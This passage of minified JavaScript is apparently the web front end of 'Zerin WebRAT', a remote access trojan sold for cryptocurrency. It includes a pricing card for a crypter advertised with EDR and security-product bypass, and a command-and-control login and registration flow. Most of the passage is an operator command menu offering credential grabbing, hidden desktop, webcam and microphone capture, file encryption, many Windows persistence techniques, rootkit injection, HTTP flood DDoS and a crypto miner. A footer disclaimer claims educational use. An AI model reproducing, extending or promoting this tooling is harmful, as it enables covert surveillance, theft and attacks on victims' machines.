50%"})]}),a.jsxs("div",{className:"px-6 pt-6 pb-4",children:[a.jsx("div",{className:"font-mono text-[11px] tracking-[0.2em] text-zerin-accent/80 uppercase mb-2",children:"WebRAT + Crypter"}),a.jsxs("div",{className:"flex items-baseline gap-3 mb-1",children:[a.jsx("span",{className:"font-display font-bold text-4xl md:text-5xl text-zerin-text tracking-tight",children:"$150"}),a.jsx("span",{className:"font-mono text-base text-zerin-text-muted line-through decoration-zerin-danger/60",children:"$300"})]}),a.jsx("div",{className:"font-mono text-[10px] tracking-[0.15em] text-zerin-text-muted/50 uppercase",children:"One-time — Lifetime license"})]}),a.jsx("div",{className:"mx-6 h-[1px] bg-gradient-to-r from-transparent via-[#1a1a22] to-transparent"}),a.jsxs("div",{className:"px-6 py-5 space-y-2.5 flex-1",children:[["Everything in WebRAT, plus:"].map(u=>a.jsxs("div",{className:"flex items-center gap-2.5",children:[a.jsx("svg",{className:"w-3 h-3 text-zerin-accent flex-shrink-0",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"2.5",children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4.5 12.75l6 6 9-13.5"})}),a.jsx("span",{className:"text-[12px] text-zerin-text font-semibold",children:u})]},u)),["PE Crypter — runtime packing engine","Polymorphic + metamorphic generation","Every build structurally unique","Indirect syscalls for EDR testing","Anti-analysis & environment checks","NTDLL restoration module","Security product bypass testing","Unique keys & code per build"].map(u=>a.jsxs("div",{className:"flex items-center gap-2.5",children:[a.jsx("svg",{className:"w-3 h-3 text-zerin-accent flex-shrink-0",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"2.5",children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4.5 12.75l6 6 9-13.5"})}),a.jsx("span",{className:"text-[12px] text-zerin-text-dim",children:u})]},u))]}),a.jsx("div",{className:"mx-6 h-[1px] bg-gradient-to-r from-transparent via-[#1a1a22] to-transparent"}),a.jsx("div",{className:"px-6 py-5",children:a.jsxs("button",{onClick:()=>c("rat_crypter"),disabled:!!r,className:"group/btn relative block w-full overflow-hidden bg-zerin-accent text-[#04040a] font-mono font-semibold text-sm text-center px-6 py-3 transition-all duration-300 hover:shadow-[0_0_30px_rgba(6,182,212,0.3)] disabled:opacity-50 disabled:cursor-wait",children:[a.jsx("span",{className:"relative z-10",children:r==="rat_crypter"?"Creating Invoice...":"Purchase with Crypto"}),a.jsx("div",{className:"absolute inset-0 bg-gradient-to-r from-transparent via-white/20 to-transparent -translate-x-full group-hover/btn:translate-x-full transition-transform duration-700"})]})})]})]})]}),a.jsxs("div",{className:"mt-8 text-center space-y-3",children:[a.jsxs("div",{className:"flex items-center justify-center gap-4",children:[a.jsx("span",{className:"font-mono text-[10px] text-zerin-text-muted/40 uppercase tracking-wider",children:"Accepted:"}),["BTC","ETH","LTC","XMR","USDT"].map(u=>a.jsx("span",{className:"font-mono text-[10px] tracking-wider text-zerin-text-muted/60 border border-[#1a1a22] px-1.5 py-0.5 hover:border-zerin-accent/20 hover:text-zerin-text-muted transition-colors duration-300",children:u},u))]}),a.jsx("span",{className:"font-mono text-[10px] text-zerin-text-muted/30 tracking-wider block",children:"Secure payment — License key delivered instantly after confirmation"})]})]})}),a.jsxs("section",{className:"relative z-10 py-32 px-6 text-center",children:[a.jsxs("h2",{className:"font-display font-bold text-3xl md:text-5xl tracking-tight mb-4",children:["Ready to"," ",a.jsx("span",{className:"bg-gradient-to-r from-zerin-accent to-cyan-300 bg-clip-text text-transparent",children:"operate"}),"?"]}),a.jsx("p",{className:"text-zerin-text-muted text-[15px] mb-10 max-w-md mx-auto",children:"Join the red team operators who trust Zerin for advanced adversary simulation and penetration testing."}),a.jsxs(xt,{to:"/register",className:"group relative inline-block overflow-hidden bg-zerin-accent text-[#04040a] font-mono font-semibold text-sm px-10 py-3.5 transition-all duration-300 hover:shadow-[0_0_40px_rgba(6,182,212,0.25)]",children:[a.jsx("span",{className:"relative z-10",children:"Get Started"}),a.jsx("div",{className:"absolute inset-0 bg-gradient-to-r from-transparent via-white/20 to-transparent -translate-x-full group-hover:translate-x-full transition-transform duration-700"})]})]}),a.jsxs("footer",{className:"relative z-10 border-t border-[#1a1a22]/50 py-8 px-6",children:[a.jsxs("div",{className:"max-w-6xl mx-auto flex items-center justify-between",children:[a.jsxs("div",{className:"flex items-center gap-2",children:[a.jsx("span",{className:"font-display font-bold text-sm text-zerin-text-muted/60",children:"ZERIN"}),a.jsx("span",{className:"text-[8px] font-mono text-zerin-text-muted/30 tracking-widest",children:"WebRAT"})]}),a.jsxs("div",{className:"flex items-center gap-4",children:[a.jsxs("a",{href:"https://t.me/zerinrat",target:"_blank",rel:"noopener noreferrer",className:"font-mono text-[11px] text-zerin-text-muted/40 hover:text-zerin-accent transition-colors flex items-center gap-1.5",children:[a.jsx("svg",{className:"w-3.5 h-3.5",viewBox:"0 0 24 24",fill:"currentColor",children:a.jsx("path",{d:"M11.944 0A12 12 0 0 0 0 12a12 12 0 0 0 12 12 12 12 0 0 0 12-12A12 12 0 0 0 12 0a12 12 0 0 0-.056 0zm4.962 7.224c.1-.002.321.023.465.14a.506.506 0 0 1 .171.325c.016.093.036.306.02.472-.18 1.898-.962 6.502-1.36 8.627-.168.9-.499 1.201-.82 1.23-.696.065-1.225-.46-1.9-.902-1.056-.693-1.653-1.124-2.678-1.8-1.185-.78-.417-1.21.258-1.91.177-.184 3.247-2.977 3.307-3.23.007-.032.014-.15-.056-.212s-.174-.041-.249-.024c-.106.024-1.793 1.14-5.061 3.345-.48.33-.913.49-1.302.48-.428-.008-1.252-.241-1.865-.44-.752-.245-1.349-.374-1.297-.789.027-.216.325-.437.893-.663 3.498-1.524 5.83-2.529 6.998-3.014 3.332-1.386 4.025-1.627 4.476-1.635z"})}),"Telegram"]}),a.jsx("span",{className:"font-mono text-[11px] text-zerin-text-muted/30",children:"© 2026"})]})]}),a.jsx("div",{className:"max-w-6xl mx-auto mt-4 pt-4 border-t border-[#1a1a22]/30",children:a.jsx("p",{className:"font-mono text-[10px] text-zerin-text-muted/25 leading-relaxed text-center",children:"This software is provided strictly for educational purposes and authorized penetration testing only. The developer does not promote, condone, or support the use of this tool for unauthorized access, malware distribution, or any illegal activity. By using this software you agree to comply with all applicable laws in your jurisdiction. Use at your own risk."})})]})]})}function Mj(){const e=m.useRef(null);return m.useEffect(()=>{const t=e.current;if(!t)return;const n=t.getContext("2d");let r,i=0;function s(){t.width=window.innerWidth,t.height=window.innerHeight}s(),window.addEventListener("resize",s);function o(){i+=.002,n.clearRect(0,0,t.width,t.height);const l=50,c=Math.ceil(t.width/l)+1,u=Math.ceil(t.height/l)+1;for(let d=0;d<u;d++)for(let f=0;f<c;f++){const p=f*l,h=d*l,x=Math.sqrt((p-t.width/2)**2+(h-t.height/2)**2),y=(Math.sin(x*.006-i)*.5+.5)*.055;n.beginPath(),n.arc(p,h,1,0,Math.PI*2),n.fillStyle=`rgba(6, 182, 212, ${y})`,n.fill()}for(let d=0;d<t.height;d+=4)n.fillStyle="rgba(0,0,0,0.08)",n.fillRect(0,d,t.width,1);r=requestAnimationFrame(o)}return r=requestAnimationFrame(o),()=>{cancelAnimationFrame(r),window.removeEventListener("resize",s)}},[]),a.jsxs(a.Fragment,{children:[a.jsx("canvas",{ref:e,className:"fixed inset-0 pointer-events-none",style:{zIndex:0}}),a.jsx("div",{className:"fixed inset-0 pointer-events-none",style:{zIndex:1,background:"radial-gradient(ellipse at center, transparent 30%, rgba(4,4,10,0.7) 100%)"}})]})}const oy="zerin.pro",Lj="zerpanel-67ontoplol.top";function _x(){return window.location.hostname===oy||window.location.hostname===`www.${oy}`}function c_(){const e=xr(),[t,n]=m.useState(""),[r,i]=m.useState(""),[s,o]=m.useState(""),[l,c]=m.useState(!1);async function u(d){d.preventDefault(),o(""),c(!0);try{if(await qE({username:t,password:r}),_x()){const f=st();if(f){window.location.href=`https://${Lj}/auth#token=${encodeURIComponent(f)}`;return}}e("/dashboard")}catch(f){f instanceof bi?o(f.status===401?f.message||"Invalid credentials":`Server error: ${f.message}`):o("Connection failed. Is the server running?")}finally{c(!1)}}return a.jsxs("div",{className:"min-h-screen bg-zerin-bg flex items-center justify-center p-4 overflow-hidden",children:[a.jsx(Mj,{}),a.jsxs("div",{className:"relative w-full max-w-sm",style:{zIndex:2},children:[a.jsxs("div",{className:"text-center mb-8 auth-stagger-1",children:[a.jsxs("div",{className:"inline-flex items-center gap-2.5 auth-breathe",children:[a.jsx("h1",{className:"font-display font-bold text-2xl text-zerin-text tracking-tight",children:"ZERIN"}),a.jsx("span",{className:"text-[10px] font-mono font-semibold tracking-wider border border-zerin-accent/30 text-zerin-accent px-2 py-0.5 auth-badge-glow",children:"WebRAT"})]}),a.jsx("p",{className:"text-zerin-text-muted text-sm mt-1.5 font-sans",children:"Command & Control"})]}),a.jsxs("div",{className:"auth-card auth-stagger-2",children:[a.jsx("div",{className:"auth-corner auth-corner-tl"}),a.jsx("div",{className:"auth-corner auth-corner-tr"}),a.jsx("div",{className:"auth-corner auth-corner-bl"}),a.jsx("div",{className:"auth-corner auth-corner-br"}),a.jsx("div",{className:"auth-scanline"}),a.jsxs("form",{onSubmit:u,className:"relative space-y-5",children:[s&&a.jsxs("div",{className:"auth-error",children:[a.jsx("div",{className:"auth-error-bar"}),a.jsx("span",{children:s})]}),a.jsxs("div",{className:"auth-stagger-3",children:[a.jsx("label",{htmlFor:"username",className:"block text-[11px] uppercase tracking-widest text-zerin-text-muted font-mono mb-2",children:"Username"}),a.jsx("div",{className:"auth-input-wrap",children:a.jsx("input",{id:"username",type:"text",value:t,onChange:d=>n(d.target.value),required:!0,autoFocus:!0,autoComplete:"username",className:"auth-input",placeholder:"Enter username"})})]}),a.jsxs("div",{className:"auth-stagger-4",children:[a.jsx("label",{htmlFor:"password",className:"block text-[11px] uppercase tracking-widest text-zerin-text-muted font-mono mb-2",children:"Password"}),a.jsx("div",{className:"auth-input-wrap",children:a.jsx("input",{id:"password",type:"password",value:r,onChange:d=>i(d.target.value),required:!0,autoComplete:"current-password",className:"auth-input",placeholder:"Enter password"})})]}),a.jsx("div",{className:"auth-stagger-5 pt-1",children:a.jsx("button",{type:"submit",disabled:l,className:"auth-submit",children:a.jsxs("span",{className:"relative z-10 flex items-center justify-center gap-2",children:[l&&a.jsxs("svg",{className:"animate-spin h-4 w-4",viewBox:"0 0 24 24",fill:"none",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"3"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8v4a4 4 0 00-4 4H4z"})]}),l?"Authenticating...":"Sign In"]})})})]})]}),a.jsxs("div",{className:"mt-7 text-center space-y-2.5 auth-stagger-6",children:[a.jsxs("p",{className:"text-zerin-text-muted text-sm font-sans",children:["Don't have an account?"," ",a.jsx(xt,{to:"/register",className:"text-zerin-accent hover:text-zerin-accent-hover transition-colors duration-200",children:"Register"})]}),a.jsxs("div",{className:"flex items-center justify-center gap-2",children:[a.jsx("span",{className:"auth-status-dot"}),a.jsx("span",{className:"text-zerin-text-muted/40 text-[10px] font-mono",children:"v1.0.0 · secure"})]})]})]})]})}function u_(){const e=xr(),[t,n]=m.useState(""),[r,i]=m.useState(""),[s,o]=m.useState(""),[l,c]=m.useState(""),[u,d]=m.useState(""),[f,p]=m.useState(!1);async function h(x){if(x.preventDefault(),d(""),!/^[a-zA-Z0-9]{3,32}$/.test(t)){d("Username must be 3-32 characters, alphanumeric only");return}if(r!==s){d("Passwords do not match");return}if(r.length<12){d("Password must be at least 12 characters");return}p(!0);try{if(await XE({username:t,password:r,license_key:l}),_x()){const g=st();if(g){window.location.href=`https://${Lj}/auth#token=${encodeURIComponent(g)}`;return}}e("/dashboard")}catch(g){if(g instanceof bi)try{const y=JSON.parse(g.message);d(y.error||g.message)}catch{d(g.message)}else d("Connection failed. Is the server running?")}finally{p(!1)}}return a.jsxs("div",{className:"min-h-screen bg-zerin-bg flex items-center justify-center p-4 overflow-hidden",children:[a.jsx(Mj,{}),a.jsxs("div",{className:"relative w-full max-w-sm",style:{zIndex:2},children:[a.jsxs("div",{className:"text-center mb-8 auth-stagger-1",children:[a.jsxs("div",{className:"inline-flex items-center gap-2.5 auth-breathe",children:[a.jsx("h1",{className:"font-display font-bold text-2xl text-zerin-text tracking-tight",children:"ZERIN"}),a.jsx("span",{className:"text-[10px] font-mono font-semibold tracking-wider border border-zerin-accent/30 text-zerin-accent px-2 py-0.5 auth-badge-glow",children:"WebRAT"})]}),a.jsx("p",{className:"text-zerin-text-muted text-sm mt-1.5 font-sans",children:"Create Account"})]}),a.jsxs("div",{className:"auth-card auth-stagger-2",children:[a.jsx("div",{className:"auth-corner auth-corner-tl"}),a.jsx("div",{className:"auth-corner auth-corner-tr"}),a.jsx("div",{className:"auth-corner auth-corner-bl"}),a.jsx("div",{className:"auth-corner auth-corner-br"}),a.jsx("div",{className:"auth-scanline"}),a.jsxs("form",{onSubmit:h,className:"relative space-y-5",children:[u&&a.jsxs("div",{className:"auth-error",children:[a.jsx("div",{className:"auth-error-bar"}),a.jsx("span",{children:u})]}),a.jsxs("div",{className:"auth-stagger-3",children:[a.jsx("label",{htmlFor:"username",className:"block text-[11px] uppercase tracking-widest text-zerin-text-muted font-mono mb-2",children:"Username"}),a.jsx("div",{className:"auth-input-wrap",children:a.jsx("input",{id:"username",type:"text",value:t,onChange:x=>n(x.target.value),required:!0,autoFocus:!0,autoComplete:"username",className:"auth-input",placeholder:"Choose a username"})})]}),a.jsxs("div",{className:"auth-stagger-4",children:[a.jsx("label",{htmlFor:"password",className:"block text-[11px] uppercase tracking-widest text-zerin-text-muted font-mono mb-2",children:"Password"}),a.jsx("div",{className:"auth-input-wrap",children:a.jsx("input",{id:"password",type:"password",value:r,onChange:x=>i(x.target.value),required:!0,autoComplete:"new-password",className:"auth-input",placeholder:"Min 12 characters"})})]}),a.jsxs("div",{className:"auth-stagger-5",children:[a.jsx("label",{htmlFor:"confirmPassword",className:"block text-[11px] uppercase tracking-widest text-zerin-text-muted font-mono mb-2",children:"Confirm Password"}),a.jsx("div",{className:"auth-input-wrap",children:a.jsx("input",{id:"confirmPassword",type:"password",value:s,onChange:x=>o(x.target.value),required:!0,autoComplete:"new-password",className:"auth-input",placeholder:"Repeat password"})})]}),a.jsxs("div",{className:"auth-stagger-6",children:[a.jsx("label",{htmlFor:"licenseKey",className:"block text-[11px] uppercase tracking-widest text-zerin-text-muted font-mono mb-2",children:"License Key"}),a.jsx("div",{className:"auth-input-wrap",children:a.jsx("input",{id:"licenseKey",type:"text",value:l,onChange:x=>{const g=x.target.value;g.toLowerCase().startsWith("zer-")?c("zer-"+g.slice(4).toUpperCase()):c(g.toUpperCase())},required:!0,autoComplete:"off",spellCheck:!1,className:"auth-input font-mono",placeholder:"zer-XXXXX-XXXXX-XXXXX-XXXXX-XXXXX-XXXXX"})})]}),a.jsx("div",{className:"auth-stagger-7 pt-1",children:a.jsx("button",{type:"submit",disabled:f,className:"auth-submit",children:a.jsxs("span",{className:"relative z-10 flex items-center justify-center gap-2",children:[f&&a.jsxs("svg",{className:"animate-spin h-4 w-4",viewBox:"0 0 24 24",fill:"none",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"3"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8v4a4 4 0 00-4 4H4z"})]}),f?"Creating Account...":"Register"]})})})]})]}),a.jsxs("div",{className:"mt-7 text-center space-y-2.5 auth-stagger-8",children:[a.jsxs("p",{className:"text-zerin-text-muted text-sm font-sans",children:["Already have an account?"," ",a.jsx(xt,{to:"/login",className:"text-zerin-accent hover:text-zerin-accent-hover transition-colors duration-200",children:"Sign In"})]}),a.jsxs("div",{className:"flex items-center justify-center gap-2",children:[a.jsx("span",{className:"auth-status-dot"}),a.jsx("span",{className:"text-zerin-text-muted/40 text-[10px] font-mono",children:"v1.0.0 · secure"})]})]})]})]})}function eu(e){const t=Date.now(),n=new Date(e).getTime(),r=t-n;if(r<0)return"just now";const i=Math.floor(r/1e3),s=Math.floor(i/60),o=Math.floor(s/60),l=Math.floor(o/24);return i<5?"just now":i<60?`${i}s ago`:s<60?`${s}m ago`:o<24?`${o}h ago`:l<30?`${l}d ago`:new Date(e).toLocaleDateString()}function Mp(e,t=1){if(e<=0)return"0 B";const n=1024,r=["B","KB","MB","GB","TB"],i=Math.floor(Math.log(e)/Math.log(n));return`${parseFloat((e/Math.pow(n,i)).toFixed(t))} ${r[i]}`}function d_(e){return new Date(e).toLocaleString("en-US",{month:"short",day:"numeric",hour:"2-digit",minute:"2-digit",second:"2-digit",hour12:!1})}function Lo(e){return new Date(e).toLocaleString("en-US",{year:"numeric",month:"short",day:"numeric",hour:"2-digit",minute:"2-digit",second:"2-digit",hour12:!1})}function Io(e){const t=e.toLowerCase();return t.includes("windows")?"Windows":t.includes("linux")?"Linux":t.includes("darwin")||t.includes("macos")?"macOS":e}function no(e){return e.slice(0,8)}function Ij(e,t){if(e<60)return`${e}s / ${t}%`;const n=Math.floor(e/60),r=e%60;return r===0?`${n}m / ${t}%`:`${n}m ${r}s / ${t}%`}function f_(e){return`data:image/bmp;base64,${e}`}function m_(e){return e.startsWith("Qk")}const Dn="w-3.5 h-3.5 flex-shrink-0",sn={eye:a.jsxs("svg",{className:Dn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:[a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15 12a3 3 0 11-6 0 3 3 0 016 0z"}),a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.458 12C3.732 7.943 7.523 5 12 5c4.478 0 8.268 2.943 9.542 7-1.274 4.057-5.064 7-9.542 7-4.477 0-8.268-2.943-9.542-7z"})]}),info:a.jsx("svg",{className:Dn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 16h-1v-4h-1m1-4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z"})}),terminal:a.jsx("svg",{className:Dn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 9l3 3-3 3m5 0h3M5 20h14a2 2 0 002-2V6a2 2 0 00-2-2H5a2 2 0 00-2 2v12a2 2 0 002 2z"})}),folder:a.jsx("svg",{className:Dn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 7v10a2 2 0 002 2h14a2 2 0 002-2V9a2 2 0 00-2-2h-6l-2-2H5a2 2 0 00-2 2z"})}),pin:a.jsx("svg",{className:Dn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 5a2 2 0 012-2h10a2 2 0 012 2v16l-7-3.5L5 21V5z"})}),key:a.jsx("svg",{className:Dn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15 7a2 2 0 012 2m4 0a6 6 0 01-7.743 5.743L11 17H9v2H7v2H4a1 1 0 01-1-1v-2.586a1 1 0 01.293-.707l5.964-5.964A6 6 0 1121 9z"})}),shield:a.jsx("svg",{className:Dn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 12l2 2 4-4m5.618-4.016A11.955 11.955 0 0112 2.944a11.955 11.955 0 01-8.618 3.04A12.02 12.02 0 003 9c0 5.591 3.824 10.29 9 11.622 5.176-1.332 9-6.03 9-11.622 0-1.042-.133-2.052-.382-3.016z"})}),sparkles:a.jsx("svg",{className:Dn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 3v4M3 5h4M6 17v4m-2-2h4m5-16l2.286 6.857L21 12l-5.714 2.143L13 21l-2.286-6.857L5 12l5.714-2.143L13 3z"})}),bolt:a.jsx("svg",{className:Dn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 10V3L4 14h7v7l9-11h-7z"})}),power:a.jsx("svg",{className:Dn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M18.364 5.636a9 9 0 010 12.728M5.636 5.636a9 9 0 000 12.728M12 2v4"})}),cog:a.jsxs("svg",{className:Dn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:[a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M10.325 4.317c.426-1.756 2.924-1.756 3.35 0a1.724 1.724 0 002.573 1.066c1.543-.94 3.31.826 2.37 2.37a1.724 1.724 0 001.066 2.573c1.756.426 1.756 2.924 0 3.35a1.724 1.724 0 00-1.066 2.573c.94 1.543-.826 3.31-2.37 2.37a1.724 1.724 0 00-2.573 1.066c-.426 1.756-2.924 1.756-3.35 0a1.724 1.724 0 00-2.573-1.066c-1.543.94-3.31-.826-2.37-2.37a1.724 1.724 0 00-1.066-2.573c-1.756-.426-1.756-2.924 0-3.35a1.724 1.724 0 001.066-2.573c-.94-1.543.826-3.31 2.37-2.37.996.608 2.296.07 2.572-1.065z"}),a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15 12a3 3 0 11-6 0 3 3 0 016 0z"})]}),externalLink:a.jsx("svg",{className:"w-3 h-3 flex-shrink-0 opacity-40",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M10 6H6a2 2 0 00-2 2v10a2 2 0 002 2h10a2 2 0 002-2v-4M14 4h6m0 0v6m0-6L10 14"})}),search:a.jsx("svg",{className:"w-3.5 h-3.5 text-[#3a3a44]",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"})})},p_=new Set(["vnc","hvnc","webcam","mic","socks5","chat"]),h_=new Set(["remove","exit","uninstall","shutdown"]),x_=new Set(["ban"]),am=[{label:"Monitoring",icon:sn.eye,group:1,commands:[{key:"ps",label:"Process List",nav:{tab:"processes"}},{key:"windows",label:"Window List",nav:{tab:"windows"}},{key:"screenshot",label:"Screenshot",nav:{tab:"screenshots",action:"screenshot"}},{key:"vnc",label:"Remote Desktop",nav:{action:"vnc"}},{key:"hvnc",label:"Hidden Desktop",nav:{action:"hvnc"}},{key:"webcam",label:"Webcam",nav:{action:"webcam"}},{key:"mic",label:"Microphone",nav:{action:"mic"}},{key:"socks5",label:"Reverse Proxy",nav:{action:"socks5"}},{key:"netstat",label:"Network Connections",nav:{tab:"overview",action:"submit"}},{key:"ifconfig",label:"Network Interfaces",nav:{tab:"overview",action:"submit"}}]},{label:"Information",icon:sn.info,group:1,commands:[{key:"whoami",label:"Whoami",nav:{tab:"overview",action:"submit"}},{key:"sysinfo",label:"System Info",nav:{tab:"overview",action:"submit"}},{key:"specs",label:"System Specs",nav:{tab:"system"}},{key:"installed_apps",label:"Installed Apps",nav:{tab:"apps"}},{key:"env",label:"Environment Variables",nav:{tab:"overview",action:"submit"}},{key:"creds",label:"Grab Credentials",nav:{tab:"credentials",action:"submit"}}]},{label:"Execution",icon:sn.terminal,group:2,commands:[{key:"shell",label:"Command Shell",nav:{tab:"overview"}},{key:"powershell",label:"PowerShell",nav:{tab:"overview"}},{key:"execute",label:"Execute File",nav:{action:"execute_upload"}}]},{label:"File Manager",icon:sn.folder,group:2,commands:[{key:"ls",label:"Browse Files",nav:{tab:"files"}},{key:"upload",label:"Upload File",nav:{tab:"files"}},{key:"download",label:"Download File",nav:{tab:"files"}},{key:"encrypt",label:"Encrypt File",nav:{tab:"overview",action:"submit"}},{key:"decrypt",label:"Decrypt File",nav:{tab:"overview",action:"submit"}}]},{label:"Persistence",icon:sn.pin,group:3,commands:[{key:"persist_runkey",label:"Run Key",nav:{tab:"overview",action:"submit"}},{key:"persist_schtask",label:"Scheduled Task",nav:{tab:"overview",action:"submit"}},{key:"persist_service",label:"Service",nav:{tab:"overview",action:"submit"}},{key:"persist_startup",label:"Startup Folder",nav:{tab:"overview",action:"submit"}},{key:"persist_logonscript",label:"Logon Script",nav:{tab:"overview",action:"submit"}},{key:"persist_screensaver",label:"Screensaver",nav:{tab:"overview",action:"submit"}},{key:"persist_ifeo",label:"IFEO Debugger",nav:{tab:"overview",action:"submit"}},{key:"persist_bits",label:"BITS Job",nav:{tab:"overview",action:"submit"}},{key:"persist_com",label:"COM Hijack",nav:{tab:"overview",action:"submit"}},{key:"persist_dllhijack",label:"DLL Hijack",nav:{tab:"overview",action:"submit"}},{key:"persist_wmi",label:"WMI Event Sub",nav:{tab:"overview",action:"submit"}},{key:"persist_portmon",label:"Port Monitor",nav:{tab:"overview",action:"submit"}},{key:"persist_ssp",label:"SSP (LSA)",nav:{tab:"overview",action:"submit"}}]},{label:"Registry",icon:sn.key,group:3,commands:[{key:"reg_read",label:"Read Key",nav:{tab:"overview",action:"submit"}},{key:"reg_write",label:"Write Key",nav:{tab:"overview",action:"submit"}}]},{label:"Rootkit",icon:sn.shield,group:3,commands:[{key:"rootkit_status",label:"Rootkit Status",nav:{tab:"overview",action:"submit"}},{key:"rootkit_inject",label:"Inject into PID",nav:{tab:"overview",action:"submit"}}]},{label:"Extra",icon:sn.sparkles,group:4,commands:[{key:"troll_panel",label:"Troll Panel",nav:{tab:"troll"}},{key:"troll_msgbox",label:"Message Box",nav:{tab:"troll"}},{key:"troll_tts",label:"Text to Speech",nav:{tab:"troll"}},{key:"troll_website",label:"Open Website",nav:{tab:"troll"}},{key:"troll_wallpaper",label:"Change Wallpaper",nav:{tab:"troll"}},{key:"troll_taskbar",label:"Toggle Taskbar",nav:{tab:"troll"}},{key:"troll_cd_tray",label:"Open CD Tray",nav:{tab:"troll"}},{key:"chat",label:"Live Chat",nav:{action:"chat"}}]},{label:"Network Attack",icon:sn.bolt,group:4,commands:[{key:"ddos_start",label:"HTTP Flood",nav:{tab:"ddos"}},{key:"miner_start",label:"Crypto Miner",nav:{tab:"miner"}}]},{label:"PC Options",icon:sn.power,group:5,commands:[{key:"restart",label:"Restart PC",nav:{action:"confirm"}},{key:"shutdown",label:"Shutdown PC",nav:{action:"confirm"}}]},{label:"Bot Options",icon:sn.cog,group:5,commands:[{key:"sleep",label:"Change Sleep",nav:{tab:"overview"}},{key:"exit",label:"Exit Agent",nav:{action:"confirm"}},{key:"uninstall",label:"Uninstall Agent",nav:{action:"confirm"}},{key:"ban",label:"Ban Agent",nav:{action:"ban"}},{key:"remove",label:"Remove from List",nav:{action:"remove"}}]}],v_={alive:"bg-zerin-accent",stale:"bg-zinc-500",dead:"bg-zinc-700"},g_={alive:"ONLINE",stale:"STALE",dead:"OFFLINE"},y_={alive:"text-zerin-accent",stale:"text-zinc-500",dead:"text-zerin-danger"},b_=({x:e,y:t,visible:n,onAction:r,onClose:i,agentStatus:s="alive",agentName:o})=>{const l=m.useRef(null),c=m.useRef(null),u=m.useRef(null),[d,f]=m.useState(null),[p,h]=m.useState({x:e,y:t}),[x,g]=m.useState(""),[y,v]=m.useState(-1),[b,w]=m.useState(-1),[j,N]=m.useState(!1),k=m.useRef(null),z=s==="dead",S=x.trim()?am.map(R=>({...R,commands:R.commands.filter(K=>K.label.toLowerCase().includes(x.toLowerCase())||K.key.toLowerCase().includes(x.toLowerCase()))})).filter(R=>R.commands.length>0||R.label.toLowerCase().includes(x.toLowerCase())).map(R=>({...R,commands:R.commands.length>0?R.commands:am.find(K=>K.label===R.label).commands})):am;m.useEffect(()=>{if(n&&l.current){const R=l.current.getBoundingClientRect(),K=window.innerWidth,_=window.innerHeight;let M=e,F=t;e+R.width>K&&(M=K-R.width-8),t+R.height>_&&(F=_-R.height-8),h({x:Math.max(4,M),y:Math.max(4,F)})}else h({x:e,y:t})},[e,t,n]),m.useEffect(()=>{n||(f(null),g(""),v(-1),w(-1),N(!1))},[n]),m.useEffect(()=>{n&&requestAnimationFrame(()=>{var R;(R=c.current)==null||R.focus()})},[n]),m.useEffect(()=>{if(!n)return;const R=K=>{l.current&&!l.current.contains(K.target)&&i()};return document.addEventListener("mousedown",R),()=>{document.removeEventListener("mousedown",R)}},[n,i]),m.useEffect(()=>()=>{k.current&&clearTimeout(k.current)},[]);const O=m.useCallback(()=>{if(!u.current)return;const R=u.current;R.style.top="0px";const K=R.getBoundingClientRect(),_=window.innerHeight;if(K.bottom>_-8){const M=K.bottom-_+8;R.style.top=`${-M}px`}},[]);if(m.useEffect(()=>{d&&requestAnimationFrame(O)},[d,O]),m.useEffect(()=>{if(!n)return;const R=K=>{var M;const _=S;if(_.length!==0)switch(K.key){case"ArrowDown":{if(K.preventDefault(),j){const F=_.find(U=>U.label===d);F&&w(U=>U<F.commands.length-1?U+1:0)}else v(F=>{const U=F<_.length-1?F+1:0;return f(_[U].label),U});break}case"ArrowUp":{if(K.preventDefault(),j){const F=_.find(U=>U.label===d);F&&w(U=>U>0?U-1:F.commands.length-1)}else 